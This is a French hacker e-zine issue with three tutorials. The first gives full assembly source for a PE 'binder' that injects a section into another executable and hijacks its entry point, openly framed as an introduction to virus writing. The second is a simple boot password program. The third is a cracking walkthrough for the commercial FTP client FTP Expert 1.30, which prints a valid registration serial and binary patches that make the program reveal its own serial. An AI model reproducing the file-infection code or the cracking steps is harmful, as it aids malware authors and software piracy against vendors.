1 - Play with the Entry Point par TiPiaX
Attention, là on est passé au mag 3, alors comme le premier était pour les débutants, bah là j'ai envie de passer à la vitesse supérieure (en plus je viens de voir qu'il n'y a que moi qui n'ai pas fait grand chose dans cette issue).
Rassurez vous suffit de connaître l'Asm pour me suivre. Le but est de créer un prog qui en modifie un autre (c'est un genre d'intro à la programmation de virus quoi). Le programme va en fait rajouter une section dans une autre. Il modifiera l'EntryPoint (point de départ du programme) pour pointer sur cette section. Lors de l'exécution du programme modifié, le code placé dans cette section sera executé puis le programme reviendra à son EntryPoint original.
Le prog va créer une section qui sera pointé par l'Entry Point. Cette section doit être de type E0000020. (read/write/exe...) Pour créer une nouvelle section, on agrandit tout d'abord le nombre de celles-ci dans le PE Header (on ajoute 1 à la valeur).On lui donne ensuite un nom. Puis viennent les modifications sur le fichier. On cherche l'adresse de notre nouvelle section :
RAW OFFSET = (RAW OFFSET derniere_section)+ (RAW SIZE derniere_section)
puis toutes ses caractéristiques:
- VIRTUAL OFFSET = (VIRTUAL OFFSET derniere_section)+ (RAW SIZE derniere_section)
- RAW SIZE = 1000h (notre section fait 4096 bytes)
- VIRTUAL SIZE = 1000h (bah idem koi)
Le RAW SIZE de notre section sera de 1000 en hexadécimal c'est à dire 4096 en décimal. Il faudra donc augmenter la 'Size Of Image' de la même valeur.
Pour faire tout ceci il faut connaître la structure d'un programme éxécutable win32. Un EXE est composé d'un MZ Header qui contient en (+6) l'adresse du début du PE Header (dans un DWORD). Ce dernier est formé ainsi:
- Le PE Header:
- ------------------------
- WORD Machine Type
- WORD Nombre de Sections
- DWORD Time/Date
- DWORD Pointeur vers la table des Symboles
- DWORD Nombre de Symboles
- WORD Taille de l'Optional Header
- WORD Caracteristiques
- WORD Magic
- BYTE MajorLinkerVersion
- BYTE MinorLinkerVersion
- DWORD SizeOfCode
- DWORD SizeOfInitializedData
- DWORD SizeOfUninitializedData
- DWORD AddressOfEntryPoint
- DWORD BaseOfCode
- DWORD BaseOfData
- DWORD ImageBase
- DWORD SectionAlignment
- DWORD FileAlignment
- WORD MajorOperatingSystemVersion
- WORD MinorOperatingSystemVersion
- WORD MajorImageVersion
- WORD MinorImageVersion
- WORD MajorSubsystemVersion
- WORD MinorSubsystemVersion
- DWORD Win32VersionValue
- DWORD SizeOfImage
- DWORD SizeOfHeaders
- DWORD CheckSum
- WORD Subsystem
- WORD DllCharacteristics
- DWORD SizeOfStackReserve
- DWORD SizeOfStackCommit
- DWORD SizeOfHeapReserve
- DWORD SizeOfHeapCommit
- DWORD LoaderFlags
248 Bytes après le PE Header on a les caractéristiques des sections :
- BYTE Name (taille = 6 bytes)
- DWORD PhysicalAddress
- DWORD VirtualSize
- DWORD VirtualAddress
- DWORD SizeOfRawData
- DWORD PointerToRawData
- DWORD PointerToRelocations
- DWORD PointerToLinenumbers
- WORD NumberOfRelocations
- WORD NumberOfLinenumbers
- DWORD Caracteristiques
Avec tout ceci on a de quoi faire pas mal de choses :) Une grande partie du proramme se charge donc de créer une nouvelle section en écrivant toutes ces caractéristiques.
Je suis navré de ne pas pouvoir tout expliquer ici, mais il faut un minimum de connaissance en Asm pour comprendre. Donc allez voir le tut sur la programmation Asm dans ce même zine.
Voici la source (il modifie un programme exemple.exe placé dans le même répertoire que lui).
- Pour compiler:
- tasm32 -ml -m5 -q glop.asm
- tlink32 -Tpe -aa -x -c glop.obj ,,,import32
- COPIER/COLLER ----------------------------------------------------------------------------
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;
- ;MessageBoxBinder par TiPiaX - Hackerstorm
- ;TiPiaX@hackerstorm.com
- ;
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;Le Programme écrivant dans les sections de code, vous devez
- ;modifier toutes les sections du programme en E0000020
- ;(read / write / executable)
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- .586P
- JUMPS
- LOCALS
- .MODEL FLAT , STDCALL
- NULL equ 0
- FILE_BEGIN equ 0
- GENERIC_WRITE equ 40000000h
- GENERIC_READ equ 80000000h
- OPEN_EXISTING equ 3
- LMEM_FIXED equ 0
- LMEM_ZEROINIT equ 40h
- LPTR equ LMEM_FIXED + LMEM_ZEROINIT
- .DATA
- ;----------------------------------------------------------------------
- message db '!!! MessageBox Binder par TiPiaX !!!',0
- error db 'CreateFile Failed',0
- Werror db 'WriteFile Failed',0
- mzerror db 'Ce fichier n est pas un éxécutable valide',0
- mz db 'MZ header détecté :)',0
- pe db 'PE header détecté :)',0
- titre db 'HackerStorm',0
- pathexe db 'exemple.exe',0
- oki db 'Hack du fichier effectué - Fuck OFF',0
- handle dd 0
- size dd 0
- byteread dw ?
- RAWOFFSETds dd ?
- RAWSIZEds dd ?
- VIRTUALSIZEds dd ?
- VIRTUALOFFSETds dd ?
- RAWOFFSET dd ?
- VIRTUALOFFSET dd ?
- ENTRYPOINT dd ?
- IMAGEBASE dd ?
- TAILLE equ (offset copyend-offset copy)
;----------------------------------------------------------------------
.CODE
;----------------------------------------------------------------------
START:
EXTRN SetFilePointer:PROC
- EXTRN ExitProcess:PROC
- EXTRN CreateFileA:PROC
- EXTRN GetFileSize:PROC
- EXTRN LocalAlloc:PROC
- EXTRN WriteFile:PROC
- EXTRN ReadFile:PROC
- EXTRN MessageBoxA:PROC
- call MessageBoxA, NULL, offset message, offset titre, NULL
- call CreateFileA,offset pathexe,GENERIC_READ+GENERIC_WRITE, NULL,NULL,OPEN_EXISTING,NULL,NULL
- cmp eax, -1
- je erreur
- mov handle, eax
- call GetFileSize, eax ,0
- add eax, 1000h
- mov size, eax
- ;----------------------------------------------------------------------
- ;---Alloue un espace memoire et inscrit le fichier dedans--------------
- ;----------------------------------------------------------------------
- call LocalAlloc, LPTR, eax
- mov edi,eax
- call ReadFile , handle , edi, size, offset byteread, NULL ;lecture du fichier
- ;-----------------------------------------------------------------------
- ;---cherche la présence d'un MZ Header puis PE Header--------------
- ;-----------------------------------------------------------------------
- cmp word ptr [edi],'ZM'; verification s'il s'agit bien d'un EXE
- jne mzerreur
- call MessageBoxA, NULL, offset mz, offset titre, NULL
- mov ebx, dword ptr [edi+3Ch] ;adresse de l'adresse du PE Header
- add ebx, edi ;ebx pointe sur le PE Header
- cmp dword ptr[ebx], 'EP' ;verification s'il s'agit bien d'un PE Executable
- jne eperreur
- call MessageBoxA, NULL, offset pe, offset titre, NULL
- ;----------------------------------------------------------------------
- ;--MODIFICATION DU FICHIER COPIE EN MEMOIRE--------
- ;----------------------------------------------------------------------
- mov ecx, ebx ;sauvegarde de l'adresse du PE dans ECX !!!!!!!!!!!!!!!
- movzx edx, word ptr [ebx+6] ;edx = nb de sections
- add word ptr [ebx+6] , 1 ;ajoute une section
- mov eax, dword ptr [ebx+40] ;ancien EntryPoint
- mov AENTRYPOINT, eax
- mov eax, dword ptr [ebx+52] ;l'image base en eax
- mov IMAGEBASE, eax
- add dword ptr [ebx+80], 4096 ;size of image + 1000h.
- add ebx , 248 ;ebx pointe le section header
- ;----------------------------------------------------------------------
- ;Ici on veut atteindre la fin de la derniere section dans le section
- ;header pour donner un nom à notre nouvelle section. Or une section
- ;fait 40 bytes. Il faut donc se déplacer de 40 * (nb de section).
- ;----------------------------------------------------------------------
- imul edx, 40 ;nb de section * 40
- add ebx, edx ;ebx pointe après les sections!!!!!!!!!!!
- mov dword ptr [ebx], 'PiT.' ;ecrit le nom
- mov eax, dword ptr [ebx-20] ;RAWOFFSETds = RawOffset de la derniere section
- mov RAWOFFSETds , eax
- mov eax, dword ptr [ebx-24] ;RAWSIZEds = RawSize de la derniere section
- mov RAWSIZEds , eax
- mov eax, dword ptr [ebx-28] ;VIRTUALOFFSETds = VirtualSize de la derniere section
- mov VIRTUALOFFSETds, eax
- mov eax, dword ptr [ebx-32] ;VIRTUALSIZEds = VirtualOffset de la derniere section
- mov VIRTUALSIZEds, eax
- ;calcul du RAWOFFSET:
- ;---------------------
- push edi
- push ecx
- mov ecx,RAWOFFSETds
- mov edi,RAWSIZEds
- add ecx,edi
- mov RAWOFFSET, ecx
- pop ecx
- pop edi
- ;calcul du VIRTUALOFFSET:
- ;------------------------
- push edi
- push ecx
- mov ecx,VIRTUALOFFSETds
- mov edi,RAWSIZEds
- add ecx,edi
- mov VIRTUALOFFSET, ecx
- pop ecx
- pop edi
- ;ecrit les caractéristiques
- ;---------------------------
- mov eax,RAWOFFSET
- mov dword ptr [ebx+20], eax ;le raw offset
- mov eax,VIRTUALOFFSET
- mov dword ptr [ebx+12], eax ;le virtual offset
- or dword ptr [ebx+36], 0E0000020h ;Characterics
- mov eax,4096
- mov dword ptr [ebx+16], eax ;raw size
- mov dword ptr [ebx+8] , eax ;virtual size
- ;calcul de l'ENTRYPOINT:
- ;------------------------
- mov eax,VIRTUALOFFSET
- mov ENTRYPOINT, eax ;nouvel EntryPoint = VirtualOffset
- mov dword ptr [ecx+40] ,eax ;écrit le nouvel EntryPoint
- ;----------------------------------------------------------------------
- ;copie du code (ça ressemble grave a un virus)
- ;----------------------------------------------------------------------
- mov ebx, edi ;ebx pointe sur le debut du fichier
- mov eax, RAWOFFSET
- add ebx, eax ;ebx pointe la ou on ecrit le code de notre section
- ;calcul du saut de retour
- mov eax, AENTRYPOINT
- mov ecx, IMAGEBASE
- add eax, ecx
- mov AANTRYPOINT, eax
- push edi
- mov edi,ebx ;edi = adresse du shellcode :)
- lea esi, copy ;bytes a copier
- mov ecx, TAILLE ;taille a copier
- rep movsb ;copie le code dans le fichier victime
- pop edi
- jmp copyend
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;le code copié
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- copy: ;le prog victime demarre : EntryPoint en eax
- ;calcul du delta offset : ebp = decalage
- mov ebx, offset copy
- sub eax, ebx
- mov ebp, eax
- nop
- nop
- lea edi, [hello+ebp]
- push 0
- push edi
- push edi
- push 0
- ;call MessageBoxA (héhé il faudrait pour cela qu'on sache localiser kernel32.dll ;ce sera donc l'objet d'un prochain tut :)
- mov eax, [AENTRYPOINT+ebp]
- jmp eax
- hello db "hi world",0
- AENTRYPOINT dd 0
- copyend:
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ; fin du code copié
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;----------------------------------------------------------------------
- ;--Réécrit le buffer modifié dans le fichier---------------------------
- ;----------------------------------------------------------------------
- call SetFilePointer, handle, 0, 0, FILE_BEGIN ;car ReadFile met le pointeur à la fin
- call WriteFile , handle, edi, size, offset byteread, NULL ;ecrit les modifications
- cmp eax, 00
- je Werreur
- call MessageBoxA, NULL, offset oki, offset titre, NULL
- jmp fin
- ;----------------------------------------------------------------------
- ;-----Messages d'erreurs-----------------------------------------------
- ;----------------------------------------------------------------------
- Werreur:
- call MessageBoxA, NULL, offset Werror, offset titre, NULL
- jmp fin
- erreur:
- call MessageBoxA, NULL, offset error, offset titre, NULL
- jmp fin
- eperreur:
- mzerreur:
- call MessageBoxA, NULL, offset mzerror, offset titre, NULL
- fin:
- call ExitProcess, NULL
- END START
- ;----------------------------------------------------------------------
- ------------------------------------------------------------------------------------------------
- Je ne pensais pas au départ faire un programme qui ressemble à ce point à un virus, mais apparement AVP dit quand même que le fichier est clean :-))) en fait le programme après avoir ajouté la section et mis l'EntryPoint à la bonne valeur, va au début de la section.
- Arrivé ici, il copie le code compris entre copy et copyend. C'est pour pouvoir copier les valeurs de l'ancien EntryPoint que cette variable est déclarée à l'intérieur du code. Une autre chose assez difficle à comprendre (si vous n'êtes pas programmeur de virii) est le calcul du delta offset. En fait ce calcul permet de connaitre le décalage entre l'endroit où on a placé notre code et le début normal du programme. Pour faire ceci on peut faire un call puis un pop (méthode utilisée dans mes virus infecteurs de .com). ceci a pour effet de nous donner l'adresse dans le registre qui a servit au pop. Mais ici on prend la valeur de eax qui correspond à l'entrypoint et on lui soustrait l'adresse (en raw) du debut de notre code à copier.
- Ainsi on peut declarer des chaines de caractères réutilisables etc... Le programme tel qui se présente ne fait qu'une seule chose sur l'exe contaminé (putain je me crois vraiment dans un virus ;) il rajoute un détour. C'est a dire que le programme lancé va sur notre code et notre code renvoie à l'entrypoint original.
- Vous pouver voir que j'ai ajouté une ébauche d'appel de l'API MessageBoxA, cependant pour pouvoir appeler les APIs il faudrait une trentaines de lignes de code en plus et je pense qu'il n'y a pas besoin de cela en plus pour vous embrouiller. Faut y aller par stade, donc ce sera pour le prochain zine. Sinon dites vous que c'est un exercice et essayer d'y arriver :)
- A part cela je pense que le code est suffisament commenté mais n'hésitez pas à me mailer en cas de problème.
Un Chti PEU DE C++ et d'ASM
- Pour ceux qui connaissent que de dalle au c++, cet article est pour vous. On va faire un programme qui demande un mot de passe quand on boote. Cela n'a aucun interêt mais bon, ça m'amuse :)
- D'abord trouvez vous visual C++ 6 (ou meme le 1 c pas grave...)
- Ensuite on va pas se faire chier, pour faire démarrer le programme on placera un lien vers notre programme dans l'autoexec.bat (putain c trop dur à déjouer comme protection !).
- Voila.
- Vous voyez bien que c'est juste pour apprendre vu comme c'est hyper simple à contourner. Comment on va s'y prendre. Bah le programme démarre, affiche un gros HACKERSTORM à l'écran puis demande un pass. (on aurait même pu le faire avec un fichier bat ! lol). On crée donc une new windows32 console application (ça c dans visual).
- Allez go, un peu de source :
- COPIER/COLLER ----------------------------------------------------------------------------
- /* ----------------------------------------------------
- Codé par TiPiaX - HackerStorm
- TiPiaX@hackerstorm.com
- compiled with : VC++ 6 (Microsoft RuLeZ :)
- ----------------------------------------------------
- */
#include <stdio.h>
- //DATAS
- char hello[]=
- "\n\n\n\n"
- " ### ### ########## #########\n"
- " ### ### ############ ###########\n"
- " ### ### ### ###\n"
- " ########## ######## ###\n"
- " ########## ######## ###\n"
- " ### ### ### ###\n"
- " ### ### ############ ###########\n"
- " ### ### ########## #########\n"
- "\n\n"
- " HackerStorm CREW\n\n"
- " - TiPiaX LoGiN : ";
- void main()
- {
- printf(hello);
- }
- ------------------------------------------------------------------------------------------------
- Bon jusque là rien de compliqué, on déclare le début du programme avec la fonction main(), on met des accolades marquant le début et la fin de cette fonction, puis on appelle printf qui affiche le texte à l'écran.
- Maintenant il faut demander à l'user de rentrer un mot de passe. On prendra "hackerstorm" comme mot de passe :
- char pass[]="hackerstorm";
- puis un tableau de char pour mettre le code envoyé par l'user:
- char motdepasse[30];
- et on compare les chaines avec strcmp(). Cependant il faut inclure string.h pour pouvoir l'utiliser. Si le code est mauvais le programme part en boucle.
- vla le code:
- COPIER/COLLER ----------------------------------------------------------------------------
- /*
- ----------------------------------------------------
- Codé par TiPiaX - HackerStorm
- TiPiaX@hackerstorm.com
- compiled with : VC++ 6 (Microsoft RuLeZ :)
- ----------------------------------------------------
- */
- #include <stdio.h>
- #include <string.h>
- //DATAS
- char pass[]="hackerstorm";
- char motdepasse[30];
- char denied[]=" ACCESS DENIED\n";
- char granted[]=" ACCESS AUTHORIZED\n";
- char hello[]=
- "\n\n\n\n"
- " ### ### ########## #########\n"
- " ### ### ############ ###########\n"
- " ### ### ### ###\n"
- " ########## ######## ###\n"
- " ########## ######## ###\n"
- " ### ### ### ###\n"
- " ### ### ############ ###########\n"
- " ### ### ########## #########\n"
- "\n\n"
- " HackerStorm CREW\n\n"
- " - TiPiaX LoGiN : ";
- void main()
- {
- printf(hello);
- scanf("%30s",&motdepasse);
- if (strcmp(motdepasse,pass)!=0)
- {
- printf(denied);
- boucle:
- goto boucle;
- }
- else
- {
- printf(granted);
- }
- }
- ------------------------------------------------------------------------------------------------
- Voila, vous le mettez dans c:\pass.exe
- et vous rajoutez cette ligne dans l'autoexec.bat:
- c:\PASS.EXE
- y plus qu'a rebooter :)))))
- On essaie, arf MERDE le dos nous balance ça:
- THIS PROGRAM CAN NOT BE RUN IN DOS MODE
- aie
- Bon beh pas le choix, on le fait en assembleur car je ne sais pas résoudre ce problème. Enfin on doit pouvoir trouver un compilo qui compile ça comme y faut pour le dos mais j'ai la flemme de chercher(d'ailleurs si quelqu'un est en mesure de m'expliquer ceci qu'il me mail, merci :). Et puis comme ça, ça fait une révision sur les interruptions dos.
- ;hehe la meme chose en bas niveau :)
- .model small
- .code
- ORG 100h ;on fait un fichier com, c bien bas niveau ça
- debut:
- mov dx,offset hello
- mov ax,0900h
- int 21h
- ret
- hello db 13,10,13,10
- db ' ### ### ########## #########',13,10
- db ' ### ### ############ ###########',13,10
- db ' ### ### ### ###',13,10
- db ' ########## ######## ###',13,10
- db ' ########## ######## ###',13,10
- db ' ### ### ### ###',13,10
- db ' ### ### ############ ###########',13,10
- db ' ### ### ########## #########',13,10
- db 13,10,13,10
- db ' HackerStorm CREW',13,10,13,10
- db ' - TiPiaX LoGiN : $'
- END debut
- on appelle simplement l'interruption 21h code 0900h avec en dx l'offset de la chaine à écrire. (chaine terminée par un $). Au lieu du ret mis ici il est préférable de quitter comme ceci:
- mov ax,4C00h ;on quitte
- int 21h
- C'est l'interruption 21h code 4C00h qui permet de quitter le programme (trouvez vous une doc sur les interruptions c'est hyper nécessaire ! désolé je connais pas l'url, faut chercher...) Maintenant il faut attrapper le texte qu'ecrit l'utilisateur. Mais il n'y a pas de fonction déjà toute faite :( C'est d'ailleurs là tout le charme de l'assembleur 16 bits :))) L'interruption 21h code 01h permet d'attendre l'appui d'une touche. On va donc éxécuter cette interruption jusqu'à ce que la touche entrée soit tapée. Lors de la boucle on remplit un buffer lettre par lettre à l'aide du pointeur bx qui est incrémenté. Si la touche entrée est préssée on va à la fin de notre buffer et on rajoute le caractère $. Voila ce que ça donne:
- ;------------------------------------
- ;fonction qui recupère le pass:
- mov bx,offset input
- boucle:
- mov ah,01h
- int 21h ;attend l'appui d'une touche
- cmp al,0Dh ;touche entrée ?
- je stop
- mov byte ptr[bx],al
- inc bx
- jmp boucle
- stop:
- mov byte ptr[bx],'$' ;on met le caractère final
- input db 32 dup (?)
- ;------------------------------------
- Bon on pourrait facilement faire un buffer overflow la dessus mais ça c'est un autre problème...
- Notre chaine input contient donc le code. Il faut désomais le comparer au vrai.... Pour ceci, on compare chaque lettre une par une. Si elles sont différentes on part. Si elles sont identiques on teste les lettres suivantes. Si on trouve un caractère de fin, on vérifie qu'il est dans les 2 chaines sinon le code est faux :
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;fonction comparer
- ;entree : offset d'un buffer en bx à comparer avec le code
- ;retour : ax = 0 => les chaines sont differentes
- ; ax = 1 => les chaines sont identiques ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- comparer proc near
- push bx
- mov bp, offset pass
- onrepart:
- mov al,byte ptr[bx]
- mov ah,byte ptr[bp]
- cmp ah,al
- jne pasbon ;lettres differentes, on degage
- cmp al,'$'
- je arf
- cmp ah,'$'
- je arffff
- inc bp
- inc bx
- jmp onrepart
- arf:
- cmp ah,'$'
- je bon
- jmp pasbon
- arffff:
- cmp al,'$'
- je bon
- jmp pasbon
- pasbon:
- mov ax,0
- pop bx
- ret
- bon:
- mov ax,1
- pop bx
- ret endp
- Voila donc ce que donne le code source au final, en le structurant avec de belles fonctions etc... :
- COPIER/COLLER ----------------------------------------------------------------------------
- ;**************************************************************
- ;Code par TiPiaX - HackerStorm
- ;Compilation : tasm pass.asm - tlink /t pass.obj ;**************************************************************
- .model small ;modele de memoire
- .code
- ORG 100h
- debut:
- mov dx,offset hello
- mov ax,0900h
- int 21h ;affiche message de bienvenue
- mov bx,offset input
- call lire
- mov bx,offset input
- call comparer
- cmp ax,0
- je fin
- mov dx,offset granted
- mov ax,0900h
- int 21h
- call quitter
- fin:
- mov dx,offset denied
- mov ax,0900h
- int 21h
- ahah:
- jmp ahah ;boucle sans fin
- ;**************************************************************
- ;les fonctions:
- ;**************************************************************
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;FONCTION QUITTER
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- quitter proc near
- mov ax,4C00h
- int 21h
- ret
- endp
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;fonction lire
- ;entree : offset d'un buffer en bx
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- lire proc near
- boucle:
- mov ah,01h
- int 21h ;attend l'appui d'une touche
- cmp al,0Dh ;touche entrée ?
- je stop
- mov byte ptr[bx],al
- inc bx
- jmp boucle
- stop:
- mov byte ptr[bx],'$' ;on met le caractère final
- ret
- endp
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;fonction comparer
- ;entree : offset d'un buffer en bx à comparer avec le code
- ;retour : ax = 0 => les chaines sont differentes
- ; ax = 1 => les chaines sont identiques
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- comparer proc near
- push bx
- mov bp, offset pass
- onrepart:
- mov al,byte ptr[bx]
- mov ah,byte ptr[bp]
- cmp ah,al
- jne pasbon ;lettres differentes, on degage
- cmp al,'$'
- je arf
- cmp ah,'$'
- je arffff
- inc bp
- inc bx
- jmp onrepart
- arf:
- cmp ah,'$'
- je bon
- jmp pasbon
- arffff:
- cmp al,'$'
- je bon
- jmp pasbon
- pasbon:
- mov ax,0
- pop bx
- ret
- bon:
- mov ax,1
- pop bx
- ret
- endp
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- ;LES DATAS
- ;¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- granted db ' ACCESS AUTHORIZED $'
- denied db ' !!!! ACCESS DENIED !!!! $'
- pass db 'hackerstorm$'
- input db 30 dup (?)
- hello db 13,10,13,10
- db ' ### ### ########## #########',13,10
- db ' ### ### ############ ###########',13,10
- db ' ### ### ### ###',13,10
- db ' ########## ######## ###',13,10
- db ' ########## ######## ###',13,10
- db ' ### ### ### ###',13,10
- db ' ### ### ############ ###########',13,10
- db ' ### ### ########## #########',13,10
- db 13,10,13,10
- db ' HackerStorm CREW',13,10,13,10
- db ' - TiPiaX LoGiN : $'
- END debut
- ------------------------------------------------------------------------------------------------
- Hehe oui, c'est dans ces moments qu'on voit l'utilité du c++ ! :) Vous remettez le chemin vers le fichier dans l'autoexec.bat et ça RuLeZ...
- A plus pour de nouvelles aventures !
- Par TiPiaX
2 - Self-Keygen de FTP Xpert 1.30
- Ftp Expert est un bon client FTP qui peut servir très souvent. Il serait donc bon de le cracker. Mais dans le précédent numéro, le tuts de cracking s'était vraiment hyper simple. Alors on va voir une façon peu fréquente de cracker un soft, il va s'auto keygener ! Bon tout d'abord on se démerde pour avoir un nom ainsi qu'un sérial valides. C'est ce qu'on appelle le sérial fishing (bah oui, c'est la pêche au sérial :)
- On va donc dans :
- aide->à propos->enregistrer et une jolie boite d'enregistrement s'affiche demandant le nom et le sérial. Arrivé ici on essaie les bpx habituels (GetDlgItemTextA et GetWindowTextA) mais ça marche pas. On passe donc à la manière brute, on remplie les champs de cette manière:
- nom: TiPiaX
- sérial : 1911
- et on fait un:
- bpx hmemcpy
- Puis on fait ok. Le prog va breaker 4 fois (le bpx hmemcpy est le bpx sur le load des chaînes en mémoire). on refait la démarche mais quand ça va breaker on va passer les 3 premiers avec F5 puis on va matter le code. (faites bc* pour effacer vos bpx). Il faut faire 7 fois F12 pour revenir car pour l'instant nous sommes dans les APIs de windows.
- On trace avec F10 et on voit beaucoup de ret (retour d'un call) on revient donc de loin :). On trace jusqu'à arriver en 004BA126:
- :004BA120 8B55EC mov edx, dword ptr [ebp-14]
- :004BA123 8B45FC mov eax, dword ptr [ebp-04]
- :004BA126 E80DA0F4FF call 00404138
- :004BA12B 0F8580000000 jne 004BA1B1
- :004BA131 A128484F00 mov eax, dword ptr [004F4828]
- Le call va tester qqchose puis le jne va sauter selon la condition reçue. Regardez par vous-même, un simple R FL Z pour changer les conditions de saut lorsque vous vous trouvez sur le jne et le prog nous dit merci de nous être enregistré. Heureusement pour nous il n'est pas enregistré (sinon pour le keygener on est mal, lol).
- on va rentrer dans le call en faisant un F8 quand on est dessus et on matte encore. On voit pas mal de cmp ?,? . (les ? étant des valeurs de registres, lol) on fait des bouton droit->display sur les registres testés et on trouve une valeur bizarre dans esi:
- 3434YP-8BV5V7-C1Y48P-4HABLM
- Avant de tester voir si c'est le sérial on sauvegarde les fichiers user.dat et system.dat qui sont dans c:\windows\ (ce sont les fichiers de la base de registres) comme ça avec un peu de chance on pourra se désenregistrer.
- On essaie donc et boudiou c'est le bon sérial ! (on s'en doutait pas un peu, lol) Mais putain il doit s'en passer des trucs pour faire un sérial comme ça. J'ai la flemme de le keygener moi. On va donc se démerder pour que le prog se keygen tout seul. (la hantise d'un programme, s'autohacker). Quand le sérial est faux une boite de message s'affiche. On va se débrouiller pour que celle ci balance le sérial valide.
- Le problème c'est de se désenregistrer. On replace les fichiers copiés de la bas de registre, rien n'y fait.
- Le prog s'enregistre d'une autre manière. On le réinstalle, idem, ARGGG.
- on trifouille quand même avec regedit et on trouve en: HKEY_CURRENT_USER\Software\Visicom Media\FTPExpert\Enregistrement
- une clé name et sérial. Ya plus qu'a les effacer :). On m'aurait donc menti system.dat et user.dat c'est pas tout le reg. (si quelqu'un sait quels sont les fichiers à sauvegarder ça m'aiderait.)
- Bon retournons à nos moutons :). On sait que le registre ESI pointait sur notre sérial. La valeur de ESI était 011CF78. J'ai fait beaucoup d'essais ensuite, mais la meilleure pour éviter les plantages est d'appeler une boite de message et de quitter tout de suite après.
- Vous vous souvenez de notre call en 004BA126, eh bien on va l'écraser et mettre tout notre code à la suite (c'est pas très subtil mais efficace). Voici la procédure avant: (offset B9526h donné par Wdasm :)
- :004BA126 E80DA0F4FF call 00404138
- :004BA12B 0F8580000000 jne 004BA1B1
- :004BA131 A128484F00 mov eax, dword ptr [004F4828]
- :004BA136 8B00 mov eax, dword ptr [eax]
- :004BA138 C6806007000000 mov byte ptr [eax+00000760], 00
- :004BA13F 8D55E8 lea edx, dword ptr [ebp-18]
- :004BA142 8B83D8020000 mov eax, dword ptr [ebx+000002D8]
- :004BA148 E8DB51F8FF call 0043F328
- avant même que ESI ait le serial EAX l'a. On utilise donc EAX. après:
- :004BA126 6A00 push 00000000
- :004BA128 50 push eax
- :004BA129 50 push eax
- :004BA12A 6A00 push 00000000
- :004BA12C E8FD9FA9BF call BFF5412E //call MessageBoxA
- :004BA131 6A00 push 00000000
- :004BA133 E89233ADBF call BFF8D4CA //call ExitProcess
